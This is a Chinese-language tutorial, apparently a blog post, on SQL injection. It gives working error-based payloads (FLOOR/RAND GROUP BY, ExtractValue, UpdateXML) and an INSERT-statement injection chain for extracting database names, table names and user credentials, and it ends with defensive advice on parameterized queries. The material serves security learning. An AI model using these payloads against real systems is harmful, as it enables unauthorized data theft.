SQL注入漏洞

开篇:什么是 SQL 注入?

简单来说,SQL 注入就是"把 SQL 命令插到网页里,让数据库听话"。

攻击者通过在输入框(如 URL 参数、表单)中插入恶意的 SQL 代码,欺骗服务器执行非授权的数据库操作,从而窃取、篡改或删除数据。

这次我们重点看两个硬核场景:如何在没有回显的情况下把数据"逼"出来(报错注入) ,以及在新增数据的地方搞事情(Insert 注入)。


核心篇一:报错注入------"借刀杀人"的艺术

当网页不会直接显示数据库内容时,高明的黑客会故意制造"错误",让数据库在报错信息里把秘密说出来。

1. Floor 报错注入(Group By 随机数漏洞)

这招的原理有点绕,但很经典。

  • 原理 :利用 GROUP BY 语句和 RAND() 随机数函数的特性。在插入临时表时,如果随机数重复计算,会导致主键冲突,从而报错。

  • 利用姿势 :

    复制代码
    SELECT COUNT(*), CONCAT((SELECT DATABASE()), FLOOR(RAND(0)*2)) x 
    FROM information_schema.tables 
    GROUP BY x;

    注:RAND(0) 是为了保证随机数序列固定,确保报错必现。

2. XPath 报错注入(ExtractValue & UpdateXML)

这招更直接,利用 XML 函数处理错误格式数据时会报错的特性。

  • ExtractValue() :从 XML 中提取内容。

    复制代码
    id=1 AND ExtractValue(1, CONCAT(0x5c, (SELECT VERSION())))
  • UpdateXML() :更新 XML 内容。

    复制代码
    id=1 AND UpdateXML(1, CONCAT(0x5e, (SELECT USER())), 1)
  • 实战技巧 :这两个函数对返回长度有限制(通常 32 位)。如果数据太长(比如密码哈希),需要用 SUBSTRING() 分段截取。


实战篇二:Insert 注入------注册页也能偷数据

大家通常只关注登录查询(Select)的注入,却忽略了**新增(Insert)**数据的地方(如:留言板、注册页)。

1. 场景还原

假设注册时输入用户名 admin,后台拼接的 SQL 可能是:

复制代码
INSERT INTO users (username) VALUES ('admin');

2. 注入手法

我们输入的 payload:

复制代码
' OR (恶意语句) OR '

拼接后变成:

复制代码
INSERT INTO users (username) VALUES ('' OR (恶意语句) OR '');

由于 '' 是空字符串(False),OR 会让数据库去执行中间的"恶意语句"。

3. 实战步骤(偷数据)

利用上面的 Insert 漏洞,我们可以结合报错注入把数据库里的东西偷出来:

  • 偷库名 :

    复制代码
    ' OR (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x5e, (SELECT DATABASE()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) OR '
  • 偷表名/字段 :
    利用 information_schema 系统库,通过修改 table_schema 和 table_name 条件,把表名和字段名一个个"炸"出来。

  • 偷内容 :
    直接 SELECT 用户表的 username 和 password。


总结与防御

作为攻击者(渗透测试):

  1. 先判断类型:是查询(Select)还是新增(Insert)?
  2. 选好载荷:有回显用联合查询(Union),没回显用报错(报错函数长度限制要分段)。
  3. 善用工具:虽然手工很酷,但 Sqlmap 依然是神器。

作为防御者(开发/运维):

  1. 参数化查询:这是最根本的解决办法,不要拼接 SQL 字符串!
  2. 最小权限原则 :Web 应用连接数据库的账号不要给 FILE、DROP 等高危权限。
  3. 错误处理:不要把详细的数据库错误信息直接暴露给前端用户。

相关推荐
ly768922 分钟前
PostgreSQL 流复制与高可用切换:主从延迟、同步提交与 Spring Boot 读写分离的边界
数据库·spring boot·postgresql·读写分离·流复制·高可用切换
l1t1 小时前
修改两处,让SQLite求解数独SQL在datafusion上运行
服务器·数据库·sql
data analyse 4561 小时前
服务端统计时区切换的日期归并
大数据·前端·数据库·人工智能·数据分析
远方16091 小时前
108-ORA-00600 [kdsgrp1-qetlbr] 内部错误排查与 RMAN 块级恢复
大数据·linux·数据库·oracle
福娃筱欢2 小时前
SQLServer迁移至KES SQLServer模式 问题整理
数据库·oracle·sqlserver
hflmwl82 小时前
RedisDesktopManager安装包中文版官方下载,redis可视化客户端工具下载
数据库·redis·缓存·可视化客户端工具
FluxDB2 小时前
《用 Rust + GPUI 做了一个开源数据库客户端:FluxDB》
数据库
roman_日积跬步-终至千里2 小时前
【数据Agent论文·查询与语义|09】Spider 2.0:从生成SQL走向完成企业工作流
数据库·sql·数据分析
曦夜日长2 小时前
MySQL系统篇,数据库基础(二):数据库概念、SQL 分类与存储引擎
数据库·sql·mysql
泡海椒2 小时前
JQuick-SQL AST 解析:从 SQL 文本到强类型节点
数据库·sql